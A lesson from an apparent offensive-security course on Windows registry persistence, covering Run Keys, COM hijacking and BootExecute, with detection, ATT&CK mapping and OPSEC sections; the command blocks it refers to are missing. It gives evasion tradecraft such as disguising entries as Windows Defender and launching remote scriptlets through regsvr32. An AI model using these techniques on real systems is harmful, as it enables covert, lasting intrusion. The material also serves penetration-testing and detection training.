Registry Persistence 2026 — Run Keys, COM Hijacking & Boot Execute | Hacking Course Day 38

Windows Run Keys — The Oldest Registry Persistence Trick That Still Works

Run Keys have been in Windows since the NT days. They’re documented, well-known, and they still work — because the mechanism is baked into how Windows handles logon. Every defender knows about them in theory. Fewer check them consistently in practice. That gap is what makes them worth knowing cold.

Here’s exactly what happens. When a user logs in, the Windows logon subsystem reads a set of registry keys and executes every value it finds there. The two primary keys are:

• HKCUSoftwareMicrosoftWindowsCurrentVersionRun
• HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun

HKCU (Current User) fires only for the logged-in user. No elevated privileges needed to write here — a standard user account can plant a Run Key entry without triggering UAC. That’s why I default to HKCU on low-privilege engagements. The tradeoff is scope: it only fires when that specific user logs in. If the account you’ve compromised is never used, your persistence is dead in the water.

HKLM (Local Machine) fires for every user who logs into the system. That’s more powerful — but it requires Administrator or SYSTEM to write. Use it after you’ve escalated. It’s the go-to when you want persistence that survives a full user switch or when you’re targeting a shared workstation.

There are also RunOnce variants of both keys. These fire on the next logon and then delete themselves. Useful for a staged loader that drops a second-stage payload and cleans up — not useful if you need long-term access.

Here’s the command you actually run to plant a Run Key entry:

Notice the value name: WindowsDefenderHelper. That’s intentional. On any real engagement I name Run Key values to mimic legitimate Windows entries. Defenders eyeballing the registry for obvious anomalies won’t pause on something that sounds like it belongs. The binary path I hide in C:UsersPublic — it’s writable by standard users and doesn’t stand out the way C:Tempevil.exe does.

For a full list of red team tools that complement this technique, the SecurityElites Tools hub has everything from registry querying utilities to payload generators covered in the course.

COM Hijacking — How Attackers Redirect Windows’ Own Object Model Against It

COM hijacking is the persistence technique I show clients when they ask why their AV didn’t catch anything. There’s no new process spawned by a suspicious parent. No obviously malicious binary in a temp directory. Just a DLL that Windows loads because Windows asked for it — and found your file instead of the legitimate one.

Here’s the mechanism. When a Windows application needs a COM object, the system looks up the CLSID (Class ID) in the registry. The lookup order is: HKCU first, then HKLM. Most COM objects are registered only in HKLM, which requires admin to modify. But if a CLSID doesn’t exist in HKCU at all, any standard user can create it there — and Windows will use that HKCU entry instead of the HKLM one. No admin. No UAC prompt. The application loads your DLL thinking it’s the real COM object.

The key path you’re targeting:

The challenge is finding the right CLSID to hijack. You want a COM object that’s called regularly by an application the user actually runs — so your DLL loads on a predictable schedule. You also want one that’s non-critical: hijacking a COM object that a core Windows process depends on will cause crashes, and crashing systems is not a quiet persistence strategy.

The standard discovery method is Process Monitor (ProcMon) from Sysinternals. Filter on these conditions simultaneously:

• Operation: RegOpenKey
• Result: NAME NOT FOUND
• Path contains: CLSID

Run ProcMon, trigger the application you’re targeting (open Task Manager, open a Microsoft Office document, use the Windows search box), then review the results. Every entry showing NAME NOT FOUND on a CLSID path under HKCU is a candidate. Cross-reference against HKLM to confirm the object exists there — that’s what tells you the lookup fell through from HKCU with nothing found.

Boot Execute Modifications — Persistence That Loads Before Windows Even Starts

Run Keys fire at logon. COM hijacks fire when an application runs. Boot Execute fires before either of those — before the Windows session manager has initialised user-space, before the desktop loads, before AV has started scanning. That’s what makes it the most powerful persistence mechanism in this module, and the most restricted: you need SYSTEM or Administrator to write to it.

The key is:

That default value — autocheck autochk * — is Windows running its filesystem check utility at boot. It’s been there since Windows NT. The BootExecute value is a REG_MULTI_SZ type, meaning it holds multiple string values. Each string is a native executable that the Session Manager runs in sequence before user-space starts. The executables that run here are native executables — they use the NT native API directly, not Win32. Standard PE executables won’t work here without modification.

On a real engagement, this is a post-privilege-escalation move. You’ve already got SYSTEM from Day 32 Windows PrivEsc or Day 38’s escalation path. Now you’re using it to write something that will outlast reboots, AV restarts, and even some recovery operations.

The critical detail: always preserve the original autocheck autochk * entry. Removing it causes boot-time filesystem errors. On a production target that immediately flags a system problem — the exact opposite of quiet persistence. Append to the multi-string, never replace it.

This technique pairs directly with what we covered in Day 37 Network Persistence — combining boot-time registry persistence with a network callback means your implant survives both reboots and network interruptions independently.

🧠 Exercise 1 — Think Like a Hacker: Which Persistence Mechanism Do You Choose?

Detecting Registry Persistence — What Blue Teams Actually Look For

Now flip the lens. Everything I’ve shown you so far is how to plant persistence — but you need to understand how defenders hunt for it, because your OPSEC decisions flow directly from that knowledge. The better you understand what blue teams monitor, the better your choices get on the offensive side.

The first tool every incident responder opens is Sysinternals Autoruns. It enumerates every autostart location on a Windows machine — Run Keys, scheduled tasks, services, browser extensions, boot execute entries — and colour-codes anything that isn’t signed by a trusted publisher. If your implant lives in a Run Key and the executable isn’t signed, it lights up amber. That’s your first detection vector.

The second is Sysmon. Three event IDs matter for registry persistence: Event ID 12 (registry key or value created or deleted), Event ID 13 (registry value set — this fires on every write to a value), and Event ID 14 (registry key or value renamed). A SIEM rule watching for Event ID 13 writes to HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun or its Wow6432Node equivalent will catch a Run Key plant in real time. Most mature EDR deployments in 2026 have this rule baked in.

COM hijacking in HKCU is a different story. Because HKCU writes don’t require admin and are standard user behaviour, the signal-to-noise ratio for defenders drops sharply. HKCU registry writes happen thousands of times per session. Filtering for COM-related CLSID writes in HKCU is harder — it requires the defender to know which CLSIDs are exploitable in the first place, and most detection rules target HKLM.

Here’s how to enumerate your own Run Key entries during an engagement — or after, when you’re cleaning up:

For ongoing threat intelligence on what registry persistence techniques APT groups are actively using in the wild, I track latest articles on SecurityElites — the threat landscape shifts fast and your detection rules need to keep up.

MITRE ATT&CK — Where These Techniques Sit and Why It Matters

Every technique you use on an engagement has an ATT&CK ID, and knowing it isn’t just academic — it directly affects your report quality and the client’s ability to act on your findings.

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder. This covers both standard Run Key persistence and the RunOnce variants. It’s one of the most commonly documented techniques in threat actor reporting. APT28, APT29, and Lazarus Group all have documented use of T1547.001 in their persistence phases. When you include this ID in your report, a defender can pull the MITRE detection guidance, map it to their SIEM rules, and run a hunt query in under an hour.

T1546.015 — Event Triggered Execution: COM Hijacking. This is the sub-technique for COM object persistence. It’s less commonly covered in basic security training, which is part of why it’s effective — detection maturity for T1546.015 lags behind T1547.001 in most organisations. Threat actors including APT32 have used COM hijacking for persistence in documented campaigns.

Boot Execute modifications fall under T1547.001 as well — specifically the BootExecute subkey variant. Some frameworks also classify this under T1547.012 (Print Processors) depending on the specific mechanism, but for the BootExecute value the primary mapping is T1547.001.

When you write your engagement report, reference both the technique name and the ATT&CK ID in every finding. It gives your client something actionable — they can search their SIEM for the exact technique, cross-reference with threat intelligence feeds, and prioritise remediation against known threat actor behaviour. That’s the difference between a finding that says “we found persistence” and one that drives immediate detection engineering work.

🌐 Exercise 2 — TryHackMe: Windows Persistence Room

OPSEC for Registry Persistence — How to Not Get Caught

Technique knowledge gets you in the door. OPSEC is what keeps you there. These are the four rules I apply on every engagement before I plant any registry persistence.

Rule 1 — Value name camouflage. Never use a value name that screams “hacker” — no implant, no payload, no tool names. Look at the existing Run Key entries on the target before you write yours. Copy the naming convention. On most Windows machines you’ll see entries like SecurityHealth, OneDrive, or Teams. Your value should look like it belongs in that list. WindowsDefenderUpdate or AdobeAcroRd32 are the kind of names that don’t attract attention.

Rule 2 — Avoid the most-monitored keys. HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun is in every EDR vendor’s default detection ruleset. If you have admin-level access but the operational risk is low, consider less-monitored paths like HKCUSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon or environment-specific startup paths. Know your target’s EDR before choosing your key.

Rule 3 — Use LOLBins as your payload launcher. A raw executable in a Run Key value is a red flag. Instead, use wscript.exe to run a .vbs script, mshta.exe to load an HTA, or regsvr32.exe /s /u /i:URL scrobj.dll for a scriptlet. LOLBins are signed Microsoft binaries — Autoruns won’t flag the launcher itself, only the script it references, which you can store in a less obvious location.

Rule 4 — Timestamp awareness. Some detection tools flag recently-written registry keys. If your tradecraft allows it, consider when you plant persistence relative to normal system activity — planting at 2am when no one is logged in is noisier than planting during an active session when hundreds of registry writes are already occurring.

⚡ Exercise 3 — Kali Terminal: Plant and Detect a Run Key on Your Windows Lab VM

📋 Commands Used Today — Day 38 Reference Card

Registry Persistence — Frequently Asked Questions